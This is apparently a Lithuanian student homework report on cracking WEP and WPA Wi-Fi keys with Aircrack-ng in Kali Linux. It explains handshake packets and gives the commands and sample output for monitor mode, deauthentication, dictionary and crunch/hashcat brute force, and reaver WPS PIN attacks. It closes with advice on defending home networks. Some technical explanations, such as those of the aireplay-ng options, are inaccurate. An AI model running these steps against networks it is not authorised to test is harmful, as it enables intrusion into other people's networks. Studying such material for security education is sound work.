**Namų darbas Nr. 1**

OS Kali Linux programa Aircrack-ng (bevielių tinklų WEP ir WPA-PSK raktų laužimui)

1. Kas yra Aircrack-ng?

Kali Linux operacinė sistema patobulinimas ankstesnės versijos – BackTrack Linux, kurioje stigo pagrindinių OS kūrimo standartų. OS Kali pažangiausia ir universaliausia sistema, skirta skverbtis į neprieinamus dalykus, susijusius su kompiuteriais arba jų įrenginiais. Ši sistema turi galingų bei universalių savybių, kurios leidžia išbandyti kompiuterių arba jų įrenginių saugumą.

Aircrack-ng – OS Kali Linux programa, skirta 802.11 standarto WEP ir WPA-PSK raktų laužimui, kuriai užtenka priimti bei išanalizuoti kelis duomenų paketus (*Beacons*). Pasižymi standartine FMS (*Fluhrer, Mantin and Shamir*) ataka, kurios pagrindas priimti užšifruotus duomenų paketus ir naudoti didelę skaičiavimo galią algoritmams. Aircrack-ng FMS ataka optimizuota, pasitelkiant KoreK (galimybė visiškai iššifruoti WEP paketa, nežinant jo rakto, pasinaudojant RC4 algoritmo trūkumais. Vykdomi atsitiktinai kiekvieno slapto rakto bito spėjimai, taip sužinant WEP raktą), PTW (*Pyshkin, Tews, Weinmann*. Šis metodas pirmiausiai taikomas pagal nutylėjimą. Sudarytas iš dviejų fazių: 1. Naudojami tik ARP paketai. 2. Naudojama tada, kai neaptinkamas raktas pirma faze, t.y. priima visus paketus. Naudojama tik WEP (40 ir 104 bitų) raktams) atakas, kurių pagalba ataka vykdoma žymiai greičiau, lyginant su kitais WEP nulaužymo programomis.

2. WPA paketai ir „draugiškos rankos paspaudimas“ („*Handshake*“)

**1 Paketas – prieigos taško duomenų paketas (*Beacons*).** Prieigos taškas/modemas visada siunčia duomenų paketus visiems, kad esant klientui, jis galėtų prisijungti. Paketo išskirtiniai bruožai:

* MAC adresai. Tikslo adresas (*Destination*) – visada FF:FF:FF:FF:FF:FF (Broadcast t.y. transliacinis adresas, kuris siunčiamas visiems), šaltinio adresas (*Source*) – specifinis prieigos taško adresas.
* WPA atributai.

**2 Paketas – kliento ištyrimo prašymo paketas (*Probe Request*).** Klientui norint prisijungti prie prieigos taško, jis siunčia duomenų paketus visiems, kad esant prieigos taškui, jis galėtų su juo užmegzti ryšį. Paketo išskirtiniai bruožai:

* MAC adresai. Šaltinio adresas (*Source*) – specifinis kliento adresas, tikslo adresas (*Destination*) – visada FF:FF:FF:FF:FF:FF.
* Atpažinimo kodas (SSID) visada lygus Broadcast reikšmei.

**3 Paketas – prieigos taško, ištyrimo atsakymo paketas (*Probe Response*).** Prieigos taškas atsako užklaususiam klientui (kuris siuntė 2 paketą). Tiap pat su paketu išsiunčiama informacija klientui apie palaikymo galimybes, tokias kaip greitis ir panašias galimybes. Paketo išskirtiniai bruožai:

* MAC adresai. Šaltinio adresas (*Source*) – prieigos taško, o tikslo adresas (*Destination*) – kliento.
* Atpažinimo kodo (SSID) MAC adresas – prieigos taško.

**4 Paketas – kliento autentifikavimo prašymo paketas (*authentication request*).** Paketo išskirtiniai bruožai:

* Tipas (Type/Subtype). Reikšmė – Authentication (0x0b).

**5 Paketas – prieigos taško autentifikavimo atsakymo paketas (*authentication acceptance*)**. Paketo išskirtiniai bruožai:

* Tipas (Type/Subtype). Reikšmė – Authentication (0x0b).

**6 Paketas – kliento asociacijos prašymo paketas (*association request*).**Paketo išskirtiniai bruožai:

* Tipas (Type/Subtype). Reikšmė – Association Request (0x00).

**7 Paketas – prieigos taško asociacijos atsakymo paketas (*association response*).**Paketo išskirtiniai bruožai:

* Tipas (Type/Subtype). Reikšmė – Association Response (0x01).

8, 9, 10, 11 paketai yra draugiškos keturi rankos paspaudimo (*„handshake“*) WPA paketai, kurie svarbiausi paketai aircrack-ng programai, norint sužinoti nežinoma WPA, pasinaudojant žodžių žodynais (*Wordlist*). Prieigos taškas pirmas inicijuoja draugiškos rankos paspaudimą (*four-way handshake*) siųsdamas pirmutinį paketą.

Šie paketai skirstomi poromis, pagal jų reikšmių vertę. Jei atsitinka taip, kad iš turimų kartojimo skaitiklio paketų, vieno reikšmė vertė nesutampa su kitais – paketų priėmimas nesėkmingas ir tolimesnis programos aircrack-ng naudojimas neįmanomas. Todėl kartais gaunamas keturių EAPOL paketų priėmimas, tačiau aircrack-ng programa vis tiek rodo, kad nėra draugiškos rankos paspaudimo.

Taip pat įmanomas kitas nesėkmingas būdas. EOPOL pirmas ir trečias (8 ir 10) paketas turi turėti tokius pačius atsitiktinius, ilgus skaičius (*Nonce*). Jei jie nesutampa – jie nepriklauso tai pačiai atitikimo porai.

**8 Paketas – prieigos taško kartojimo skaitiklio (*replay counter*) paketas.** Prieigos taškas siunčia atsitiktinį, ilgą skaičių, kuris skirtas autentifikavimo protokolui (*Nonce*). Naudojamas, kad išvengti seniau įvykusių duomenų apsikeitimo, kurie gali kartotis nuolatos, taip norint įvykdyti ataką užkraunant nereikalingais duomenimis liniją ir įrenginį.

Gavus šį skaičių, klientas turi visus reikalingas atributus kuriant porinį laikiną raktą (*PTK – Pairwise Transient Key*). PTK sudaro: porinis pagrindinis raktas (*PMK – Pairwise Master Key*), prieigos taško ir kliento atsitiktiniai, ilgi skaičiai (*Nonce*), prieigos taško ir kliento MAC adresas. Paketo išskirtiniai bruožai:

* Reikšmė (Replay Counter) – 1.

**9 Paketas – kliento kartojimo skaitiklio (*replay counter*) paketas.** Klientas siunčia savo atsitiktinį, ilgą skaičių prieigos taškui, kartu su vientisa autentifikavimo žinutė (*MIC/MAIC – Message Authentication and Integrity*). Paketo išskirtiniai bruožai:

* Reikšmė (Replay Counter) – 1.

**10 Paketas – priegos taško kartojimo skaitiklio (*replay counter*) paketas.** Prieigos taškas siunčia grupės laikiną raktą (*GTK – Group Temporal Key*), kuris skirtas šifruoti grupinius (*Multicast*) ir transliacinius (*Broadcast*) ryšius. Paketo išskirtiniai bruožai:

* Reikšmė (Replay Counter) – 2.

**11 Paketas – kliento kartojimo skaitiklio (*replay counter*) paketas.** Klientas prieigos taškui siunčia patvirtinimą. Paketo išskirtiniai bruožai:

* Reikšmė (Replay Counter) – 2.

3. Aircrack-ng programos panaudojimas

Aircrack-ng programa skirta WEP ir WPA raktų sužinojimui. Kadangi WEP technologija retai arba išvis nebenaudojama, tad buvo atliekamas tik WPA raktų sužinojimas. WPA rakto sužinojimas vykdomas pasinaudojant žodžių žodynais (*wordlist*) arba kaukėmis (šablonais, pagal kokį žodžio ilgį ir simbolius ieškoti slaptažodžio). Ataka paremta brutalios jėgos vykdymu, tačiau nereikalingas pastovus ryšys su norimu prieigos tašku. Naudojamas draugiškos rankos paspaudimu gauta informacija, kuri saugoma .cap tipo failuose (kartu gaunami dar 3 papildomi failai). Naudojant didelius žodžių žodynus, maža tikimybė, kad pavyks sužinoti nežinomą WPA slaptažodį, nes žodynai sudaryti iš dažnai sutinkamų, paprastų slaptažodžių. Kaukių panaudojimas veiksmingas būdas tik tada, kai žinoma tam tikra informacija apie WPA slaptažodį: slaptažodžio ilgis ir simbolių vieta bei reikšmė (didžioji, mažoji raidė, skaičius, ženklas). Jeigu tokia informacija nežinoma, o kaukėje nurodomo visi simboliai ir įvairūs slaptažodis ilgiai – šis procesas gali užtrukti daugelį metų ar šimtmečių.

Kali Linux operacinėje sistemoje atsidarome terminalo langą (*terminal*). Lange įvedamos komandos:

*root@kali:~# airmon-ng*

Komanda parodo esamus kompiuteryje bevielio ryšio sąsajas. Atvaizduojamas komandos rezultatas terminalo lange:

*Interface Chipset Driver*

*wlan0 Intel 1030 iwlwifi - [phy0]*

Užrašymas parodo esamus kompiuteryje sąsajų pavadinimus (*Interface* stulpelis), lustų rinkinius (*Chipset* stulpelis), tvarkykles (*Driver* stulpelis). Jeigu nerandamas joks įrenginys, reiškia kompiuteryje nėra bevielio ryšio plokštės.

*root@kali:~# airmon-ng start wlan0*

Komanda sąsajoje wlan0 įjungia stebėjimo režimą (*Monitor mode*). Šis režimas leidžia bevielio tinklo plokštei klausytis visų paketų esančiu aplinkui ore. Paprastai plokštė tik „girdi“ visus paketus adresuotas jai. Todėl klausantis visų paketų, vėliau pagaunamas WPA/WPA2 keturių draugiškos rankos paspaudimo paketai. Atvaizduojamos komandos rezultatas terminalo lange:

*Found 3 processes that could cause trouble.*

*If airodump-ng, aireplay-ng or airtun-ng stops working after*

*a short period of time, you may want to kill (some of) them!*

*-e*

*PID Name*

*3145 NetworkManager*

*3253 wpa\_supplicant*

*3892 dhclient*

*Process with PID 3892 (dhclient) is running on interface wlan0*

*Interface Chipset Driver*

*wlan0 Intel 1030 iwlwifi - [phy0]*

 *(monitor mode enabled on mon0)*

Užrašymas įspėja ir parodo, kad programai yra trukdančių procesų, kuriuos prieš tęsiant patartina išjungti. Taip pat parodomi trukdantis procesai ir kurioje sąsajoje įjungiamas stebėjimo režimas.

*root@kali:~# kill 3145*

*root@kali:~# kill 3253*

*root@kali:~# kill 3892*

Komandos išjungia trukdančius programai procesus.

*root@kali:~# airodump-ng mon0*

Komanda atvaizduoja sąsajos wlan0 stebėjimo režimo gautus rezultatus. Atvaizduojamas komandos rezultatas terminalo lange:

*CH 7 ][ Elapsed: 1 min ][ 2015-02-24 13:51*

*BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID*

*FF:FF:FF:FF:FF:FF -74 350 29 0 1 54. WPA2 CCMP PSK TEO-12345678*

*...................................*

*BSSID STATION PWR Rate Lost Frames Probe*

*FF:FF:FF:FF:FF:FF EE:EE:EE:EE:EE:EE -50 54 - 24 0 17 TEO-12345678*

*...................................*

Užrašymas rodo, kokiame kanale (*CH 7*), kiek praėjo laiko (*Elapsed: 1 min*), kokiu laiku (*2015-02-24 13:51*) užfiksuoti bevieliai tinklai (tikrieji rezultatai nerodomi, čia tik pavyzdys). Kai kanalas keičiasi (tuo pačiu ir laikas), terminalo lange viskas atvaizduojama iš naujo. Norint sustabdyti stebėjimo režimą, paspausti CTRL+C arba CTRL+Z. Žemiau pateikiami rastų tinklų parametrai, informacija, o žemiau ir jų stočių. Taip pat, būtinas tinklo aktyvumas (naudojimasis), norint sužinoti stoties (STATION) MAC adresas, kuris reikalingas gauti draugiškos rankos paspaudimo paketams (jei vis dėl to tinklas neaktyvus, reikia pasinaudoti komanda aireplay-ng -0 1 -a FF:FF:FF:FF:FF:FF -c EE:EE:EE:EE:EE:EE mon0, kuri siunčia klientui (FF) klaidinga žinia, kad daugiau nebesusijęs su prieigos tašku (EE) ir klientas siunčia prieigos taškui atpažinimą, iš kurio galima pagauti draugiškos rankos paspaudimo paketus).

*root@kali:~# airodump-ng -c 1 -w failas --bssid FF:FF:FF:FF:FF:FF mon0*

Komanda nurodo kur bus įrašoma informacija apie keturių draugiškos rankos paspaudimo paketus iš norimo prieigos taško. Išsirinkus iš prieš tai komandos dominantį prieigos taško MAC adresą (FF), kanalą (1) galimas reikalingų paketų priėmimas. –c 1 nurodo bevielio tinklo kanalą, -w failas nurodomas failo pavadinimas, kuriame bus saugoma informacija apie tinklą, --bssid FF:FF:FF:FF:FF:FF prieigos taško MAC adresas, mon0 sąsajos pavadinimas. Atvaizduojamas komandos rezultatas terminalo lange:

CH 1 ][ Elapsed: 1 min ][ 2015-02-24 13:56 ][ ČIA VĖLIAU ATSIRAS WPA handshake: FF:FF:FF:FF:FF:FF

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

*FF:FF:FF:FF:FF:FF -30 86 570 71 0 1 54 WPA2 CCMP PSK TEO-12345678*

BSSID STATION PWR Rate Lost Frames Probe

*FF:FF:FF:FF:FF:FF EE:EE:EE:EE:EE:EE -40 54 - 1 0 55*

Užrašymas rodo, kokiame kanale (*CH 1*), kiek praėjo laiko (*Elapsed: 1 min*), kokiu laiku (*2015-02-24 13:56*) užfiksuotas bevielis tinklas. Žemiau pateikiami rasto tinklo parametrai, informacija, o žemiau ir jo stoties.

Atsidarius naują terminalo langą įvedama komanda:

*root@kali:~# aireplay-ng -0 2 -a FF:FF:FF:FF:FF:FF mon0*

Komanda užmezga ryšį, naudojant keturių draugiškos rankos paspaudimo paketus. -0 nurodo greičiausia būda pasiekti autorizacijos būdą, 2 siunčiamų autorizacijos paketų kiekis, -a nurodomas prieigos taško MAC adresas, mon0 nurodoma stebėjimo sąsaja. Atvaizduojamas komandos rezultatas terminalo lange:

*13:55:41 Waiting for beacon frame (BSSID: FF:FF:FF:FF:FF:FF) on channel 1*

*NB: this attack is more effective when targeting*

*a connected wireless client (-c <client's mac>).*

*13:55:41 Sending DeAuth to broadcast -- BSSID: [FF:FF:FF:FF:FF:FF]*

*13:55:41 Sending DeAuth to broadcast -- BSSID: [FF:FF:FF:FF:FF:FF]*

*13:55:42 Sending DeAuth to broadcast -- BSSID: [FF:FF:FF:FF:FF:FF]*

*13:55:42 Sending DeAuth to broadcast -- BSSID: [FF:FF:FF:FF:FF:FF]*

*13:55:43 Sending DeAuth to broadcast -- BSSID: [FF:FF:FF:FF:FF:FF]*

*13:55:43 Sending DeAuth to broadcast -- BSSID: [FF:FF:FF:FF:FF:FF]*

Užrašymas rodo duomenų paketų šaltinį (*BSSID: FF:FF:FF:FF:FF:FF*) ir kanalą (*channel 1*). Vėliau siunčiamas transliacinis pranešimas nurodytam šaltiniui (*BSSID: [FF:FF:FF:FF:FF:FF]*) ir stebima, kada pirmame terminalo lange, viršuje, kairėje pasirodo užrašas **WPA handshake: FF:FF:FF:FF:FF:FF**. Pasirodžius užrašui, pirmame ir antrame terminalų languose galima stabdyti darbą (CTRL+C). Taip į nurodytą failą (failas.cap) įrašoma reikalinga informacija apie tiriamą bevielį tinklą.

Turint šią informaciją, nebereikalingas bevielis ryšys. Toliau atliekama brutalia jėga pasižyminti ataką, kuri pasitelkia tik kompiuterio resursus.

*root@kali:~# aircrack-ng -w /Desktop/Custom-WPA failas-01.cap*

Komanda aktyvuoja WPA rakto ieškojimo procesą. –w /Desktop/Custom-WPA nurodoma žodžių žodyno failo pavadinimas ir vieta, failas-01.cap nurodomas failo pavadinimas ir vieta, kuriame pagautų paketų informacija. Atvaizduojamas komandos rezultatas terminalo lange:

*Opening failas-01.cap*

*Read 2165 packets.*

*# BSSID ESSID Encryption*

*1 FF:FF:FF:FF:FF:FF TEO-12345678 WPA (1 handshake)*

*Choosing first network as target.*

*Opening failas-01.cap*

*Reading packets, please wait...*

*Aircrack-ng 1.2 rc1*

*[00:01:12] 131160 keys tested (1856.54 k/s)*

*KEY FOUND! [ 1234567890 ]*

*Master Key : 5C 6B 62 81 5C D5 45 B8 4E 4C 1C FD 3A E6 30 3A*

*A4 53 38 CE 4F B4 0C 2E 11 51 6F 2C FF B7 F7 1A*

*Transient Key : B8 F1 FD 90 BF 99 14 23 24 09 E1 41 46 AF 1B 21*

*EF 4A FA 37 96 A2 A3 E1 DD EE 96 6D C9 88 3C B4*

*DE 85 AB 24 17 09 CA B8 D2 A6 C9 9F 56 B9 C5 55*

*60 FC 4B 6D C5 D9 A5 DA C8 18 CD FA E6 ED B3 0D*

*EAPOL HMAC : 61 9E EB 85 08 78 BD 40 D3 AA 18 CA 7E 5C F3 BB*

Užrašymas rodo, kiek faile randasi pagautų paketų (*Read 2165 packets*), tinklą/tinklus, su kuriais pasiekti ir įrašyti draugiškos rankos paspaudimo paketai (*1 FF:FF:FF:FF:FF:FF TEO-12345678 WPA (1 handshake)),* kiek trunka paieška, kiek žodžių išbandyta, koks paieškos greitis (*[00:01:12] 131160 keys tested (1856.54 k/s)*), rastą slaptažodį (*KEY FOUND! [ 1234567890 ]* rodomas tik tada, kai randamas), paieškos vykdymą (*Master Key .... Transient Key .... EAPOL HMAC ....* taškai nurodo paieškos vykdymą šešioliktainėje sistemoje. Paieškos metu, šie skaičiai nuolatos keičiasi).

4. Aircrack-ng programos naudojimas, pasitelkiant kitas programas

Pasinaudojant kitomis programomis, jas sujungiant, WPA rakto paieškas galima detalizuoti iki smulkmenų. Programa crunch, leidžia nurodyti, kokio ilgio slaptažodžio ieškoti (*8 8*), kokius simbolius naudoti paieškoje (*abcdefghijklmnopqrstuvwxyz0123456789*).

*crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 | aircrack-ng --bssid 00:1A:2B:8A:A8:FD -w- teo-01.cap*

Programa hashcat, leidžia nurodyti, kokio ilgio slaptažodžio ieškoti ir priklausomai nuo vietos slaptažodyje, naudoti įvairių simbolių parametrus (*?a?a?a?a?a?a?a?a*) (raidė, didžiosios ar mažosios raidės, skaičius, simbolis).

*hashcat -m 2500 -a 3 Desktop/teo/26848\_1425545527.hccap ?a?a?a?a?a?a?a?a*

Pasinaudojant aircrack-ng programos komandomis (tarp *airmon-ng start wlan0* ir *airodump-ng mon0*) ir nauja komanda *wash –i mon0* (fiksuoja tinklų maršrutizatorius, kurie palaiko WPS funkcija). WPS (*Wi-Fi Protected Setup arba Wi-fi Simple Config*) tinklo saugumo standartas, kuris leidžia naudotojams lengvai apsaugoti savo bevielį tinklą, bet turintis trūkumų, naudojant brutalios jėgos (*brute-force*) panaudojimu paremta ataka. Norint apsaugoti savo tinklą nuo brutalios jėgos atakos, pasinaudojant WPS standartu, reikia įjungti užrakinimo funkcija (jei po kelių bandymų WPS negauna savo tikrojo slaptažodžio (*pin*), jis užrakina šią funkciją ir ji kuri laiką tampą neprieinamą, tačiau užkraunant įrenginį nereikalingais duomenimis, ji galima priversti persikrauti ir WPS atsirakina, tai kartojant, galima sužinoti nežinomą WPS slaptažodį). Geriausias būdas būtų aplamai šią funkciją išjungti, nes šis įsilaužymo būdas dažnai pasiteisina ir naudotis savo sukurtu WPA raktu, norint prisijungti prie savo bevielio tinklo, taip sumažinant įsibrovimo riziką. Be to, norint sužinoti WPA raktą pasinaudojant WPS standarto trūkumais būtinas nedidelis atstumas iki prieigos taško, kitaip niekas nepavyks.

Kali Linux operacinėje sistemoje atsidarome terminalo langą (*terminal*). Lange įvedame komandas:

*apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap-dev && wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz && tar -xzvf reaver-1.4.tar.gz && cd reaver-1.4/ && cd src && ./configure && make && sudo make instal*

Komanda įrašo reikalingas bibliotekų saugyklas, atsiunčia, išarchyvuoja, sukonfigūruoja, įrašo programa Reaver, kuri skirta sužinoti WPS slaptažodį.

*airmon-ng && airmon-ng wlan0 && wash -i mon0 && airodump-ng mon0 &&* ***reaver -i mon0 -b 84:C9:B2:57:9C:1B -vv***

Reaver komanda nurodo, kokią sąsaja pasinaudojus *(- mon0*) norima sužinoti tinklo (*84:C9:B2:57:9C:1B –vv*) nežinomą WPA slaptažodį. Atvaizduojamas komandos rezultatas terminalo lange:

*[+] 91.86% complete @ 2015-02-26 21:46:10 (6 seconds/pin)*

*[+] Trying pin 42030966*

*[+] Sending EAPOL START request*

*[+] Received identity request*

*[+] Sending identity response*

*[+] Received M1 message*

*[+] Sending M2 message*

*[+] Received M3 message*

*[+] Sending M4 message*

*[+] Received M5 message*

*[+] Sending M6 message*

*[+] Received WSC NACK*

*[+] Sending WSC NACK*

*[+] Trying pin 42030973*

*[+] Sending EAPOL START request*

*[+] Received identity request*

*[+] Sending identity response*

*[+] Received M1 message*

*[+] Sending M2 message*

*[+] Received M3 message*

*[+] Sending M4 message*

*[+] Received M5 message*

*[+] Sending M6 message*

*[+] Received M7 message*

*[+] Sending WSC NACK*

*[+] Sending WSC NACK*

*[+] Pin cracked in 18581 seconds*

*[+] WPS PIN: '42030973'*

*[+] WPA PSK: 'ECF8364604399B7CA0FFE269F5D3434BF4E1C2B01FD582B82D431D4B810CBE20'*

*[+] AP SSID: 'dlink9c1b'*

Užrašymas nuolatos keičiasi, dažnai atvaizduojamos klaidos (praneša, kad ryšys nutrūko,tačiau iškart užmezgamas iš naujo). Jeigu randamas teisingas WPS slaptažodis, randamas ir WPA raktas. Kaip matyti iš užrašo, WPS slaptažodis rastas, kaip ir WPA raktas.

5. Išvados ir informacijos šaltiniai

Aircrack-ng programa skirta sužinoti WEP, WPA slaptažodžius. Kadangi WEP saugumo standartas nėra populiarus, saugus, sudėtingas, todėl programa naudojama daugiausiai sužinant WPA slaptažodžius. Norint sužinoti bevielio tinklo WPA slaptažodį, pirmiausiai programa iš tinklo priima ir išsaugo draugiškos rankos paspaudimo (*handshake*) paketus. Vėliau programa naudodama kompiuterio resursus, ir pasitelkdama didelius žodžių žodynus tikrina, ar yra sutampančių slaptažodžių. Labai maža tikimybė, kad bus sužinotas nežinomas WPA slaptažodis, nes žodynai sudaryti iš dažnai sutinkamų, paprastų, elementarių slaptažodžių. Naudojant kitas programas (*crunch, hashcat*) ir žinant informacija apie slaptažodį (ilgis, simboliai), galima sužinoti reikiamą slaptažodį. Kadangi visoms slaptažodžio paieškoms naudojami visi galimi spėjimai (tikrinamos visos galimos slaptažodžių ir jų sudarytų simbolių kombinacijos), paieškos užtrunka labai ilgai (keliolika metų ar šimtmečių) ir išlieka tik teorinė galimybė atspėti slaptažodį. Naudojant programą reaver (skirta sužinoti bevielio tinklo slaptažodžius panaudojus WPS funkcija maršrutizatoriuje) galimas sėkmingas nežinomo bevielio tinklo slaptažodžio sužinojimas per trumpą laiką (iki 10 valandų). WPA slaptažodžiai saugus, tačiau būtina laikytis tam tikrų taisyklių: ilgas slaptažodis (10 simbolių ir daugiau); simbolių įvairovė (naudojamos didžiosios, mažosios raidės, skaičiai, simboliai); išjungiama WPS funkcija.

Informacijos šaltiniai:

<http://www.personalas.ktu.lt/~gblaziun/vsti/8%20-%20Profinet.skaidres.pdf>, ethernet standartai, vytos poros kabelių kategorijos, automatinis MDI, žiūrėta 2014-10-11.

1. <https://www.youtube.com/watch?v=kpI3fQjf43E>, programos aircrack-ng panaudojimas, žiūrėta 2014-03-09.

2. <http://www.aircrack-ng.org/doku.php?id=cracking_wpa>, programos aircrack-ng panaudojimas, žiūrėta 2014-03-09.

3. <http://www.aircrack-ng.org/doku.php?id=wpa_capture>, WPA paketai ir draugiškos rankos paspaudimas (*handshake*), žiūrėta 2014-03-09.

4. <http://en.wikipedia.org/wiki/IEEE_802.11i-2004>, draugiškos rankos paspaudimas (handshake), žiūrėta 2014-03-06.

5. <https://www.youtube.com/watch?v=vTdcffA3pKQ>, programos reaver panaudojimas, žiūrėta 2014-03-09.

6. <http://www.kalitutorials.net/2014/04/hack-wpawpa2-wps-reaver-kali-linux.html>, programos reaver panaudojimas, žiūrėta 2014-03-09.